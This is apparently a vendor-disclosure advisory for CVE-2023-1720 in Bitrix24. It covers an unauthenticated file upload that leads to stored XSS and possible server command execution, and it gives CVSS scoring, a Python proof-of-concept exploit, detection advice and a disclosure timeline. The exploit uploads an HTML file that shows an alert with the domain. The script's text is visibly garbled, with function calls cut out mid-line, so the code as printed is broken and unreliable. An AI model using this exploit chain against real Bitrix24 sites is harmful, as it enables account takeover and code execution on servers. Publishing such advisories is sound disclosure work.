Product Bitrix24
Vendor Bitrix24
Severity High
Affected Versions Bitrix24 22.0.300 (latest version as of writing)
Tested Versions Bitrix24 22.0.300 (latest version as of writing)
CVE Identifier CVE-2023-1720
CVE Description Lack of mime type response header in Bitrix24 22.0.300 allows authenticated remote attackers to execute arbitrary JavaScript code in the victim’s browser, and possibly execute arbitrary PHP code on the server if the victim has administrator privilege, via uploading a crafted HTML file through /desktop_app/file.ajax.php?action=uploadfile.
CWE Classification(s) CWE-434 Unrestricted Upload of File with Dangerous Type
CAPEC Classification(s) CAPEC-592 Stored XSS

CVSS3.1 Scoring System:

Base Score: 9.6 (Critical) Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) None
User Interaction (UI) Required
Scope (S) Changed
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Vulnerability Details:

This report presents information on a Cross Site Scripting (XSS) vulnerability that allows an attacker to run arbitrary JavaScript code on the browser of any victim that visits the affected page. If the victim has administrator permissions, an attacker may leverage the built-in “PHP Command Line” feature to execute arbitrary system commands on the target web server.

Unauthenticated users may use the file upload functionality provided by the /desktop_app/file.ajax.php?action=uploadfile. This endpoint also returns the absolute path of the file on the server, which is of the form $BX_ROOT/upload/tmp/BXTEMP-YYYY-MM-DD/00/bxu/disk/XXX/XXX/default where XXX is a 32 character long hexadecimal string.

As the uploads directory is publicly accessible to the internet, an attacker can determine the URL where Apache will serve their malicious uploaded file. As the uploaded file does not have a file extension, Apache serves the file without a content-type header. Therefore, the browser will have to examine the contents of the response to determine its content type. Thus, if the file contains HTML tags, the browser will render the file as HTML and execute any JavaScript that is present in the file, resulting in XSS.


We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that uploads a malicious HTML file that executes JavaScript to display the current domain name.

A sample exploit script is shown below:

# Bitrix24 Stored XSS RCE (CVE-2023-XXXXX)
# Via: https://TARGET_HOST/desktop_app/file.ajax.php?action=uploadfile
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import random

import requests
import re

HOST = "http://localhost:8000"
SITE_ID = "s1"

PROXY = {"http": "http://localhost:8080"}

def preauth(s):
    res = s.get(HOST)
    return"'bitrix_sessid':'([a-f0-9]{32})'"), res.text).group(

def upload(session, sessid, data):
    CID = random.randint(0, pow(10, 5))
    resp =
        HOST + "/desktop_app/file.ajax.php?action=uploadfile",
            "X-Bitrix-Csrf-Token": sessid,
            "X-Bitrix-Site-Id": SITE_ID,
            "bxu_info[mode]": "upload",
            "bxu_info[CID]": str(CID),
            "bxu_info[filesCount]": "1",
            "bxu_info[packageIndex]": f"pIndex{CID}",
            "bxu_info[NAME]": f"file{CID}",
            "bxu_files[0][name]": f"file{CID}",
            "bxu_files[0][default]": (
    return resp["files"][0]["file"]["files"]["default"]["tmp_name"]

if __name__ == "__main__":
    s = requests.Session()
    s.proxies = PROXY
    sessid = preauth(s)
    path = upload(s, sessid, "<script>alert(document.domain)</script>")
    print("Uploaded file to " + path)
    relpath = path[path.index("/upload"):]
    print("Check out " + HOST + relpath + " for XSS!")

Exploit Conditions:

This vulnerability can be exploited by unauthenticated users. However, the victim has to visit a specially crafted URL supplied by the attacker.

Detection Guidance:

It is possible to detect the exploitation of this vulnerability by examining traffic logs to detect the presence of <script> tags and other XSS vectors in uploaded files.


Lam Jun Rong & Li Jiantao of of STAR Labs SG Pte. Ltd. (@starlabs_sg)


  • 2023-03-17 Initial Vendor Contact via
  • 2023-03-18 No reply from vendor, tried using the form again
  • 2023-03-21 Email to [email protected]
  • 2023-03-21 Email to [email protected]
  • 2023-03-24 Got reply from [email protected], they asked us to email to [email protected] or use the form at with regards to the bug reports
  • 2023-03-29 Emailed to [redacted], [redacted] & [redacted]. Team member found the 3 email addresses via an [USA bug bounty platform]
  • 2023-03-30 [redacted] replied to us
  • 2023-03-31 [redacted] wanted us to report the bugs via that [USA bug bounty platform]
  • 2023-03-31 Emailed back to [redacted] that we are unable to do so because it’s a private program in that [USA bug bounty platform]
  • 2023-03-31 [redacted] emailed back with the invite
  • 2023-03-31 Submitted the reports via that [USA bug bounty platform]
  • 2023-03-31 Informed [redacted] again that we are unable to report all the bugs due to [blah blah blah Requirements]
  • 2023-04-03 [redacted] replied that they had remove the [blah blah blah Requirements] limitations for us
  • 2023-04-04 We submitted the final 2 reports
  • 2023-06-21 [redacted] emailed us “Generally, we prefer not to publish CVE, because our clients tend to postpone or skip even critical updates, and hackers definitely will be using this information for attacking our clients. It have happened several times in the past, with huge consequences for our company and for our clients. To tell the truth, I would like to set award on [USA bug bounty platform] instead of CVE publishing. Please let me know what do you think about that.”
  • 2023-06-23 Emailed back to Bitrix that we prefer to publish the CVE and do not want the reward. We are also willing to delay the publication at a mutually agreed date.
  • 2023-09-22 [redacted] finally replied asking us if we are agreeable to publish the CVE in November 2023
  • 2023-09-22 Emailed back that we are agreeable to delay the publication to 1st November 2023
  • 2023-09-22 [redacted] accepted the date
  • 2023-11-01 Public Release